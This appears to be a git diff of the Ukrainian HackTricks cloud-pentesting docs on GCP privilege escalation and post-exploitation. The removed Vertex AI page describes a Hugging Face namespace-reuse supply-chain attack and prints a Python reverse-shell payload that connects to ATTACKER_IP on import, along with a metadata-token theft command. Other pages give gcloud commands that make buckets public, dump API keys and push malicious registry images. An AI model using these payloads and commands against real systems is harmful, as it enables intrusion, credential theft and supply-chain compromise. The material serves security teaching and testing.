+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md index 5dd55e127..9acf23890 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md @@ -1,18 +1,22 @@ -# GCP - Зберігання Після Експлуатації +# GCP - Storage Постексплуатація {{#include ../../../banners/hacktricks-training.md}} -## Хмарне Зберігання +## Cloud Storage -Для отримання додаткової інформації про Хмарне Зберігання перегляньте цю сторінку: +Для додаткової інформації про Cloud Storage перегляньте цю сторінку: {{#ref}} ../gcp-services/gcp-storage-enum.md {{#endref}} -### Надати Публічний Доступ +### Give Public Access -Можливо надати зовнішнім користувачам (увійшли в GCP чи ні) доступ до вмісту бакетів. Однак за замовчуванням опція публічного доступу до бакета буде вимкнена: +Можна надати зовнішнім користувачам (авторизованим у GCP або ні) доступ до вмісту bucket'ів. Однак за замовчуванням для bucket'ів опція публічного доступу вимкнена: + +
+ +Зробити bucket/objects публічними ```bash # Disable public prevention gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention @@ -25,8 +29,10 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER ``` -Якщо ви спробуєте надати **ACLs для кошика з вимкненими ACLs**, ви отримаєте цю помилку: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access` +
-Щоб отримати доступ до відкритих кошиків через браузер, перейдіть за URL-адресою `https://.storage.googleapis.com/` або `https://.storage.googleapis.com/` +Якщо ви спробуєте надати **ACLs to a bucket with disabled ACLs** ви отримаєте цю помилку: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access` + +Щоб отримати доступ до відкритих buckets через браузер, відкрийте URL `https://.storage.googleapis.com/` або `https://.storage.googleapis.com/` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md deleted file mode 100644 index 6a7c57226..000000000 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md +++ /dev/null @@ -1,113 +0,0 @@ -# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse - -{{#include ../../../banners/hacktricks-training.md}} - -## Scenario - -- Vertex AI Model Garden дозволяє безпосередньо розгортати багато Hugging Face (HF) моделей. -- HF model identifiers are Author/ModelName. Якщо автор/організація на HF видаляється, те саме ім'я автора може бути перереєстроване будь-ким. Атакуючі можуть створити repo з тим самим ModelName за старим шляхом. -- Pipelines, SDKs, або cloud catalogs, які підтягують за ім'ям (без pinning/integrity), підтягнуть repo під контролем атакуючого. Коли модель буде розгорнута, loader code з цього repo може виконатися всередині контейнера endpoint Vertex AI, надаючи RCE з дозволами endpoint. - -Two common takeover cases on HF: -- Ownership deletion: Старий шлях повертає 404, поки хтось не перереєструє автора і не опублікує той самий ModelName. -- Ownership transfer: HF повертає 307 редиректи зі старого Author/ModelName на нового автора. Якщо старий автор пізніше видаляється і його ім'я перереєструє атакуючий, ланцюжок редиректів буде порушений і repo атакуючого обслуговуватиме старий шлях. - -## Identifying Reusable Namespaces (HF) - -- Old author deleted: сторінка автора повертає 404; шлях до моделі може повертати 404 до takeover. -- Transferred models: старий шлях моделі повертає 307 на нового власника, поки старий автор існує. Якщо старий автор пізніше видаляється і його ім'я перереєструють, legacy path буде вказувати на repo атакуючого. - -Quick checks with curl: -```bash -# Check author/org existence -curl -I https://huggingface.co/ -# 200 = exists, 404 = deleted/available - -# Check old model path behavior -curl -I https://huggingface.co// -# 307 = redirect to new owner (transfer case) -# 404 = missing (deletion case) until someone re-registers -``` -## Повний ланцюг атаки проти Vertex AI - -1) Виявити повторно використовувані неймспейси моделей, які Model Garden позначає як deployable: -- Знайти HF models у Vertex AI Model Garden, які все ще відображаються як “verified deployable”. -- Перевірити на HF, чи оригінальний author видалений, або чи модель була передана і старий author пізніше видалений. - -2) Повторно зареєструвати видаленого author на HF та відтворити той самий ModelName. - -3) Опублікувати шкідливий repo. Включити код, який виконується під час model load. Приклади, які зазвичай виконуються під час HF model load: -- Побічні ефекти в __init__.py репозиторію -- Custom modeling_*.py або processing код, на який посилається config/auto_map -- Шляхи коду, які потребують trust_remote_code=True у Transformers pipelines - -4) Розгортання у Vertex AI для спадкового Author/ModelName тепер підтягує репозиторій зловмисника. Лоадер виконується всередині контейнера Vertex AI endpoint. - -5) Payload встановлює доступ із середовища endpoint (RCE) з правами endpoint’а. - -Приклад фрагмента payload, що виконується при import (тільки для демонстрації): -```python -# Place in __init__.py or a module imported by the model loader -import os, socket, subprocess, threading - -def _rs(host, port): -s = socket.socket(); s.connect((host, port)) -for fd in (0,1,2): -try: -os.dup2(s.fileno(), fd) -except Exception: -pass -subprocess.call(["/bin/sh","-i"]) # Or python -c exec ... - -if os.environ.get("VTX_AI","1") == "1": -threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start() -``` -Примітки -- Реальні лоадери можуть відрізнятися. Багато інтеграцій Vertex AI HF клонують та імпортують модулі з репозиторіїв, на які посилається конфігурація моделі (наприклад, auto_map), що може призвести до виконання коду. Для деяких випадків необхідно trust_remote_code=True. -- The endpoint typically runs in a dedicated container with limited scope, but it is a valid initial foothold for data access and lateral movement in GCP. - -## Post-Exploitation Tips (Vertex AI Endpoint) - -Once code is running inside the endpoint container, consider: -- Перелічити змінні оточення та метадані для виявлення облікових даних/токенів -- Отримати доступ до приєднаного сховища або змонтованих артефактів моделі -- Взаємодіяти з Google APIs через service account identity (Document AI, Storage, Pub/Sub, etc.) -- Забезпечити персистенцію в артефакті моделі, якщо платформа повторно витягує репозиторій - -Enumerate instance metadata if accessible (container dependent): -```bash -curl -H "Metadata-Flavor: Google" \ -http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token -``` -## Рекомендації з безпеки для користувачів Vertex AI - -- Закріплюйте моделі за commit у HF loaders, щоб запобігти прихованій заміні: -```python -from transformers import AutoModel -m = AutoModel.from_pretrained("Author/ModelName", revision="") -``` -- Реплікуйте перевірені HF models у довірений внутрішній artifact store/registry і розгортайте звідти. -- Постійно скануйте codebases і configs на наявність захардкоджених Author/ModelName, які були deleted/transferred; оновлюйте на нові namespaces або закріплюйте за конкретним commit. -- У Model Garden перевіряйте походження моделі та існування автора перед розгортанням. - -## Евристики розпізнавання (HTTP) - -- Видалений автор: author page 404; legacy model path 404 до takeover. -- Передана модель: legacy path 307 на нового автора, поки старий автор існує; якщо старого автора пізніше видалять і повторно зареєструють, legacy path починає віддавати attacker content. -```bash -curl -I https://huggingface.co// | egrep "^HTTP|^location" -``` -## Перехресні посилання - -- Див. ширшу методологію та нотатки щодо ланцюга постачання: - -{{#ref}} -../../pentesting-cloud-methodology.md -{{#endref}} - -## Посилання - -- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/) -- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md index 5c7b93d8f..5e9fbb040 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md @@ -4,17 +4,17 @@ ## Apikeys -Наступні дозволи корисні для створення та викрадення API ключів, зверніть увагу на це з документації: _API ключ - це простий зашифрований рядок, який **ідентифікує додаток без будь-якого принципала**. Вони корисні для доступу до **публічних даних анонімно** і використовуються для **асоціювання** запитів API з вашим проектом для квоти та **білінгу**._ +Зверніть увагу на це з документації: _API key — це простий зашифрований рядок, який **ідентифікує додаток без будь-якого принципала**. Вони корисні для доступу до **публічних даних анонімно**, і використовуються для **асоціювання** API-запитів з вашим проектом для квоти та **оплати**._ -Отже, з API ключем ви можете змусити компанію платити за ваше використання API, але ви не зможете підвищити привілеї. +Отже, з API key ви можете змусити компанію платити за ваше використання API, але ви не зможете підвищити привілеї. -Для отримання додаткової інформації про API ключі перегляньте: +Для отримання додаткової інформації про API Keys дивіться: {{#ref}} ../gcp-services/gcp-api-keys-enum.md {{#endref}} -Для інших способів створення API ключів перегляньте: +Для інших способів створення API keys дивіться: {{#ref}} gcp-serviceusage-privesc.md @@ -22,48 +22,63 @@ gcp-serviceusage-privesc.md ### Brute Force API Key access -Оскільки ви, можливо, не знаєте, які API активовані в проекті або які обмеження застосовані до знайденого API ключа, було б цікаво запустити інструмент [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) і перевірити **до чого ви можете отримати доступ з API ключем.** +Оскільки ви можете не знати, які API ввімкнені в проєкті або які обмеження застосовано до знайденого API key, варто запустити інструмент [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) і перевірити **до чого ви маєте доступ з цим API key.** ### `apikeys.keys.create` -Цей дозвіл дозволяє **створити API ключ**: +Цей дозвіл дозволяє **створювати API key**: + +
+Створити API key за допомогою gcloud ```bash gcloud services api-keys create Operation [operations/akmf.p7-[...]9] complete. Result: { "@type":"type.googleapis.com/google.api.apikeys.v2.Key", "createTime":"2022-01-26T12:23:06.281029Z", -"etag":"W/\"HOhA[...]==\"", +"etag":"W/\"HOhA[...]=\"", "keyString":"AIzaSy[...]oU", "name":"projects/5[...]6/locations/global/keys/f707[...]e8", "uid":"f707[...]e8", "updateTime":"2022-01-26T12:23:06.378442Z" } ``` +
+ Ви можете знайти скрипт для автоматизації [**створення, експлуатації та очищення вразливого середовища тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh). > [!CAUTION] -> Зверніть увагу, що за замовчуванням користувачі мають дозволи на створення нових проектів і їм надається роль Власника над новим проектом. Тому користувач може c**творити проект і API ключ всередині цього проекту**. +> Зауважте, що за замовчуванням користувачі мають дозволи на створення нових проєктів і їм призначається роль Owner у новому проєкті. Тому користувач може **створити проєкт та API key всередині цього проєкту**. ### `apikeys.keys.getKeyString` , `apikeys.keys.list` -Ці дозволи дозволяють **переглядати та отримувати всі apiKeys і отримувати Ключ**: +Ці дозволи дозволяють **переглянути список усіх apiKeys та отримати Key**: + +
+Перелік і отримання всіх API ключів ```bash for key in $(gcloud services api-keys list --uri); do gcloud services api-keys get-key-string "$key" done ``` +
+ Ви можете знайти скрипт для автоматизації [**створення, експлуатації та очищення вразливого середовища тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh). ### `apikeys.keys.undelete` , `apikeys.keys.list` -Ці дозволи дозволяють вам **переглядати та відновлювати видалені ключі API**. **Ключ API надається у виході** після завершення **відновлення**: +Ці дозволи дозволяють вам **перелічувати та відновлювати видалені API keys**. **API key** виводиться в результаті після виконання **undelete**: + +
+Перелік та відновлення API keys ```bash gcloud services api-keys list --show-deleted gcloud services api-keys undelete ``` -### Створіть внутрішній OAuth-додаток для фішингу інших працівників +
-Перегляньте наступну сторінку, щоб дізнатися, як це зробити, хоча ця дія належить до служби **`clientauthconfig`** [згідно з документацією](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin): +### Створити внутрішній OAuth-додаток для phish інших співробітників + +Перегляньте наступну сторінку, щоб дізнатися, як це зробити, хоча ця дія належить до сервісу **`clientauthconfig`** [згідно з документацією](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin): {{#ref}} ../../workspace-security/gws-google-platforms-phishing/ diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md index c62512930..dea95417e 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md @@ -4,7 +4,7 @@ ## App Engine -Для отримання додаткової інформації про App Engine перегляньте: +Для отримання додаткової інформації про App Engine див.: {{#ref}} ../gcp-services/gcp-app-engine-enum.md @@ -12,26 +12,34 @@ ### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list` -Це необхідні дозволи для **розгортання додатку за допомогою `gcloud` cli**. Можливо, **`get`** та **`list`** можна **уникнути**. +Це необхідні дозволи для **розгортання додатку за допомогою `gcloud` CLI**. Можливо, дозволи **`get`** та **`list`** можна **уникнути**. -Ви можете знайти приклади коду на python за посиланням [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine) +Приклади коду на Python можна знайти за адресою [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine) -За замовчуванням ім'я служби App буде **`default`**, і може бути лише 1 екземпляр з таким же ім'ям.\ -Щоб змінити це і створити другий додаток, у **`app.yaml`** змініть значення кореневого ключа на щось на зразок **`service: my-second-app`** +За замовчуванням ім'я сервісу App буде **`default`**, і може існувати лише 1 екземпляр з таким самим ім'ям.\ +Щоб змінити це і створити другий додаток, у **`app.yaml`** змініть значення кореневого ключа на щось на кшталт **`service: my-second-app`** + +
+Розгорнути додаток App Engine ```bash cd python-docs-samples/appengine/flexible/hello_world gcloud app deploy #Upload and start application inside the folder ``` -Дайте йому принаймні 10-15 хвилин, якщо це не спрацює, викликайте **deploy another of times** і чекайте кілька хвилин. +
+ +Дайте принаймні 10–15 хвилин; якщо це не спрацює, виконайте **deploy another of times** і зачекайте ще кілька хвилин. > [!NOTE] -> **можливо вказати обліковий запис служби для використання**, але за замовчуванням використовується обліковий запис служби за замовчуванням App Engine. +> Можна **вказати Service Account для використання**, але за замовчуванням використовується App Engine default SA. -URL програми виглядає приблизно так `https://.oa.r.appspot.com/` або `https://-dot-.oa.r.appspot.com` +The URL of the application is something like `https://.oa.r.appspot.com/` or `https://-dot-.oa.r.appspot.com` ### Оновлення еквівалентних дозволів -У вас можуть бути достатні дозволи для оновлення AppEngine, але не для створення нового. У такому випадку ось як ви можете оновити поточний App Engine: +Можливо, у вас є достатні дозволи для оновлення AppEngine, але не для створення нового. У такому випадку ось як можна оновити поточний App Engine: + +
+Оновити існуючий додаток App Engine ```bash # Find the code of the App Engine in the buckets gsutil ls @@ -62,41 +70,58 @@ gcloud app deploy # Update the SA if you need it (and if you have actas permissions) gcloud app update --service-account=@$PROJECT_ID.iam.gserviceaccount.com ``` -Якщо ви **вже зламали AppEngine** і у вас є дозвіл **`appengine.applications.update`** та **actAs** над обліковим записом служби, ви можете змінити обліковий запис служби, що використовується AppEngine, за допомогою: +
+ +Якщо ви **вже скомпрометували AppEngine** і маєте дозвіл **`appengine.applications.update`** та **actAs** над сервісним обліковим записом, який використовує AppEngine, ви можете змінити цей сервісний обліковий запис за допомогою: + +
+Оновити сервісний обліковий запис App Engine ```bash gcloud app update --service-account=@$PROJECT_ID.iam.gserviceaccount.com ``` +
+ ### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get` -З цими дозволами можливо **увійти через ssh в екземпляри App Engine** типу **flexible** (не стандартний). Деякі з дозволів **`list`** і **`get`** **можуть бути не дійсно потрібні**. +З цими дозволами можна **увійти по ssh в інстанси App Engine** типу **flexible** (не standard). Деякі з **`list`** і **`get`** дозволів **можуть бути насправді не потрібні**. + +
+SSH в інстанс App Engine ```bash gcloud app instances ssh --service --version ``` +
+ ### `appengine.applications.update`, `appengine.operations.get` -Я думаю, що це просто змінює фоновий SA, який Google буде використовувати для налаштування додатків, тому я не думаю, що ви можете зловживати цим, щоб вкрасти обліковий запис служби. +Я думаю, це просто змінює фоновий SA, який google буде використовувати для налаштування додатків, тому я не думаю, що цим можна зловживати, щоб вкрасти сервісний обліковий запис. + +
+Оновити сервісний обліковий запис додатку ```bash gcloud app update --service-account= ``` +
+ ### `appengine.versions.getFileContents`, `appengine.versions.update` -Не впевнений, як використовувати ці дозволи або чи є вони корисними (зауважте, що коли ви змінюєте код, створюється нова версія, тому я не знаю, чи можна просто оновити код або IAM роль одного, але я гадаю, що ви повинні мати можливість це зробити, можливо, змінивши код всередині бакету??). +Не впевнений(а), як використовувати ці дозволи і чи вони корисні (зверніть увагу, що при зміні коду створюється нова версія, тож я не знаю, чи можна просто оновити код або IAM-роль для існуючої версії, але, ймовірно, це має бути можливим — можливо, змінивши код всередині bucket'а??). -### Доступ на запис до бакетів +### Write Access over the buckets -Як згадувалося, версії appengine генерують деякі дані всередині бакету з форматом імені: `staging..appspot.com`. Зауважте, що неможливо попередньо захопити цей бакет, оскільки користувачі GCP не мають права генерувати бакети, використовуючи доменне ім'я `appspot.com`. +Як уже згадувалося, версії appengine генерують деякі дані всередині бакета з іменем у форматі: `staging..appspot.com`. Зауважте, що неможливо заздалегідь захопити цей бакет, оскільки користувачі GCP не мають права створювати бакети з доменом `appspot.com`. -Однак, з доступом на читання та запис до цього бакету, можливо підвищити привілеї до SA, прикріпленого до версії AppEngine, шляхом моніторингу бакету і в будь-який момент, коли вносяться зміни, якомога швидше змінити код. Таким чином, контейнер, який створюється з цього коду, **виконає зламаний код**. +Проте, маючи доступ на читання та запис до цього бакета, можна ескалювати привілеї до SA, прикріпленого до версії AppEngine, моніторячи бакет і щоразу, коли відбувається зміна, якнайшвидше змінювати код. Таким чином контейнер, який буде створено з цього коду, **виконає backdoored code**. -Для отримання додаткової інформації та **PoC перевірте відповідну інформацію з цієї сторінки**: +Для додаткової інформації та **PoC перевірте відповідні відомості на цій сторінці**: {{#ref}} gcp-storage-privesc.md {{#endref}} -### Доступ на запис до Реєстру артефактів +### Write Access over the Artifact Registry -Навіть якщо App Engine створює образи docker всередині Реєстру артефактів. Було протестовано, що **навіть якщо ви зміните образ всередині цього сервісу** і видалите екземпляр App Engine (щоб був розгорнутий новий), **виконуваний код не змінюється**.\ -Можливо, що виконуючи **атаку на умови гонки, як з бакетами, може бути можливим перезаписати виконуваний код**, але це не було протестовано. +Хоч App Engine створює docker images всередині Artifact Registry. Було перевірено, що **навіть якщо ви зміните образ у цьому сервісі** і видалите інстанс App Engine (тому розгортається новий), **виконуваний код не змінюється**.\ +Можливо, що шляхом виконання **Race Condition attack**, як у випадку з бакетами, можна перезаписати виконуваний код, але це не було протестовано. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md index fd88de0f2..3cafd24fe 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md @@ -1,10 +1,10 @@ -# GCP - Привілейоване підвищення в Artifact Registry +# GCP - Artifact Registry Privesc {{#include ../../../banners/hacktricks-training.md}} ## Artifact Registry -Для отримання додаткової інформації про Artifact Registry дивіться: +Для отримання додаткової інформації про Artifact Registry див.: {{#ref}} ../gcp-services/gcp-artifact-registry-enum.md @@ -12,7 +12,10 @@ ### artifactregistry.repositories.uploadArtifacts -З цією дозволом зловмисник може завантажувати нові версії артефактів з шкідливим кодом, наприклад, Docker-образи: +Маючи цей дозвіл, атакуючий може завантажувати нові версії артефактів зі шкідливим кодом, наприклад Docker-образами: + +
+Завантажити Docker image до Artifact Registry ```bash # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-docker -docker.pkg.dev @@ -23,20 +26,25 @@ docker tag : -docker.pkg.dev//-docker.pkg.dev///: ``` +
+ > [!CAUTION] -> Було перевірено, що **можливо завантажити новий шкідливий docker** образ з таким же ім'ям та тегом, як у вже наявного, тому **старий втратить тег** і наступного разу, коли цей образ з цим тегом буде **завантажено, буде завантажено шкідливий**. +> Було перевірено, що **можливо завантажити новий шкідливий docker** образ з тією самою назвою та тегом, що й вже наявний, тому **старий образ втратить тег**, і наступного разу, коли образ з цим тегом буде **завантажено, буде завантажено шкідливий**.
-Завантажити бібліотеку Python +Upload a Python library -**Почніть з створення бібліотеки для завантаження** (якщо ви можете завантажити останню версію з реєстру, ви можете уникнути цього кроку): +**Почніть зі створення бібліотеки для завантаження** (якщо ви можете завантажити останню версію з реєстру ви можете уникнути цього кроку): -1. **Налаштуйте структуру вашого проєкту**: +1. **Налаштуйте структуру проекту**: -- Створіть новий каталог для вашої бібліотеки, наприклад, `hello_world_library`. -- Усередині цього каталогу створіть ще один каталог з ім'ям вашого пакету, наприклад, `hello_world`. -- Усередині каталогу вашого пакету створіть файл `__init__.py`. Цей файл може бути порожнім або містити ініціалізації для вашого пакету. +- Створіть нову директорію для вашої бібліотеки, наприклад, `hello_world_library`. +- Всередині цієї директорії створіть іншу директорію з назвою пакета, наприклад, `hello_world`. +- Всередині директорії пакета створіть файл `__init__.py`. Цей файл може бути порожнім або містити ініціалізації для вашого пакета. + +
+Create project structure ```bash mkdir hello_world_library @@ -45,21 +53,31 @@ mkdir hello_world touch hello_world/__init__.py ``` -2. **Напишіть код вашої бібліотеки**: +
-- Усередині каталогу `hello_world` створіть новий файл Python для вашого модуля, наприклад, `greet.py`. +2. **Напишіть код бібліотеки**: + +- Всередині директорії `hello_world` створіть новий файл Python для вашого модуля, наприклад, `greet.py`. - Напишіть вашу функцію "Hello, World!": +
+Create library module + ```python # hello_world/greet.py def say_hello(): return "Hello, World!" ``` +
+ 3. **Створіть файл `setup.py`**: -- У корені вашого каталогу `hello_world_library` створіть файл `setup.py`. -- Цей файл містить метадані про вашу бібліотеку та вказує Python, як її встановити. +- У корені вашої директорії `hello_world_library` створіть файл `setup.py`. +- Цей файл містить метадані про вашу бібліотеку і вказує Python, як її встановлювати. + +
+Create setup.py file ```python # setup.py @@ -70,47 +88,70 @@ name='hello_world', version='0.1', packages=find_packages(), install_requires=[ -# Будь-які залежності, які потрібні вашій бібліотеці +# Any dependencies your library needs ], ) ``` -**Тепер давайте завантажимо бібліотеку:** +
-1. **Скомпілюйте ваш пакет**: +**Тепер завантажимо бібліотеку:** -- З кореня вашого каталогу `hello_world_library` виконайте: +1. **Зберіть пакет**: + +- З кореня директорії `hello_world_library` запустіть: + +
+Build Python package ```sh python3 setup.py sdist bdist_wheel ``` -2. **Налаштуйте автентифікацію для twine** (використовується для завантаження вашого пакету): -- Переконайтеся, що у вас встановлено `twine` (`pip install twine`). -- Використовуйте `gcloud`, щоб налаштувати облікові дані: -```` +
+ +2. **Налаштуйте автентифікацію для twine** (використовується для завантаження пакета): +- Переконайтесь, що у вас встановлено `twine` (`pip install twine`). +- Використайте `gcloud` для налаштування облікових даних: + +
+Upload package with twine ```sh twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://-python.pkg.dev/// dist/* ``` -```` +
+ 3. **Очистити збірку** + +
+Очистити артефакти збірки ```bash rm -rf dist build hello_world.egg-info ```
+
+ > [!CAUTION] -> Немає можливості завантажити бібліотеку python з тією ж версією, що вже присутня, але можливо завантажити **більші версії** (або додати додатковий **`.0` в кінці** версії, якщо це працює - не в python, проте), або **видалити останню версію та завантажити нову з** (потрібно `artifactregistry.versions.delete)`**:** +> Неможливо завантажити python бібліотеку з тією ж версією, що вже присутня, але можна завантажити **більш нові версії** (або додати в кінець версії додатковий **`.0`**, якщо це працює — хоча не для python), або **видалити останню версію і завантажити нову замість неї** (потрібний `artifactregistry.versions.delete`): +> +>
+> Видалити версію артефакту > > ```sh > gcloud artifacts versions delete --repository= --location= --package= > ``` +> +>
### `artifactregistry.repositories.downloadArtifacts` -З цією дозволом ви можете **завантажувати артефакти** та шукати **чутливу інформацію** та **вразливості**. +Завдяки цьому дозволу ви можете **завантажувати артефакти** та шукати **чутливу інформацію** і **вразливості**. -Завантажте **Docker** образ: +Завантажити **Docker** образ: + +
+Завантажити Docker образ з Artifact Registry ```sh # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-docker -docker.pkg.dev @@ -118,11 +159,18 @@ gcloud auth configure-docker -docker.pkg.dev # Dowload image docker pull -docker.pkg.dev///: ``` -Завантажте бібліотеку **python**: +
+ +Завантажити **python** бібліотеку: + +
+Завантажити Python бібліотеку з Artifact Registry ```bash pip install --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@-python.pkg.dev///simple/" --trusted-host -python.pkg.dev --no-cache-dir ``` -- Що станеться, якщо змішати віддалені та стандартні реєстри в віртуальному, і пакет існує в обох? Перегляньте цю сторінку: +
+ +- Що відбудеться, якщо віддалені та стандартні реєстри змішані у віртуальному, і пакет існує в обох? Перегляньте цю сторінку: {{#ref}} ../gcp-persistence/gcp-artifact-registry-persistence.md @@ -130,30 +178,40 @@ pip install --index-url "https://oauth2accesstoken:$(gcloud auth prin ### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`) -Видалити артефакти з реєстру, такі як образи docker: +Видаляє артефакти з реєстру, наприклад docker образи: + +
+Видалити Docker образ з Artifact Registry ```bash # Delete a docker image gcloud artifacts docker images delete -docker.pkg.dev///: ``` +
+ ### `artifactregistry.repositories.delete` -Видалити повний репозиторій (навіть якщо він має вміст): +Видалити повний репозиторій (навіть якщо він містить вміст): + +
+Видалити репозиторій Artifact Registry ``` gcloud artifacts repositories delete --location= ``` +
+ ### `artifactregistry.repositories.setIamPolicy` -Зловмисник з цим дозволом міг би надати собі дозволи для виконання деяких з раніше згаданих атак на репозиторії. +Атакувальник із цим дозволом може надати собі права для виконання деяких раніше згаданих атак на репозиторій. -### Пивотування до інших сервісів через читання та запис в Artifact Registry +### Переорієнтація на інші сервіси через Artifact Registry (читання та запис) - **Cloud Functions** -Коли створюється Cloud Function, новий docker-образ завантажується в Artifact Registry проекту. Я намагався змінити образ на новий, а також видалити поточний образ (і образ `cache`), але нічого не змінилося, Cloud Function продовжує працювати. Тому, можливо, **можливо зловживати атакою Race Condition** як з бакетом, щоб змінити docker-контейнер, який буде запущено, але **просто зміна збереженого образу не може скомпрометувати Cloud Function**. +Коли створюється Cloud Function, новий docker image завантажується в Artifact Registry проєкту. Я намагався модифікувати образ іншим, а також видалити поточний образ (і `cache` image), але нічого не змінилося — Cloud Function продовжувала працювати. Тому, можливо, **можна зловживати Race Condition attack**, як із bucket, щоб змінити docker-контейнер, який буде запущено, але **просто змінення збереженого образу не дозволяє скомпрометувати Cloud Function**. - **App Engine** -Хоча App Engine створює docker-образи всередині Artifact Registry. Було протестовано, що **навіть якщо ви зміните образ всередині цього сервісу** і видалите екземпляр App Engine (щоб був розгорнутий новий), **виконуваний код не змінюється**.\ -Можливо, що виконання **атаки Race Condition, як з бакетами, може дозволити перезаписати виконуваний код**, але це не було протестовано. +Хоча App Engine створює docker images в Artifact Registry. Було перевірено, що **навіть якщо змінити образ всередині цього сервісу** і видалити інстанс App Engine (тобто буде розгорнуто новий), **виконуваний код не змінюється**.\ +Можливо, що виконання **Race Condition attack** як із buckets може дозволити перезаписати виконуваний код, але це не було протестовано. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md index 998fc5a5b..ba145a94d 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md @@ -12,7 +12,10 @@ ### `batch.jobs.create`, `iam.serviceAccounts.actAs` -Можливо створити пакетне завдання, отримати зворотний шелл і ексфільтрувати токен метаданих SA (за замовчуванням обліковий запис служби обчислень). +Можна створити batch job, отримати reverse shell і експфільтрувати metadata token SA (compute SA за замовчуванням). + +
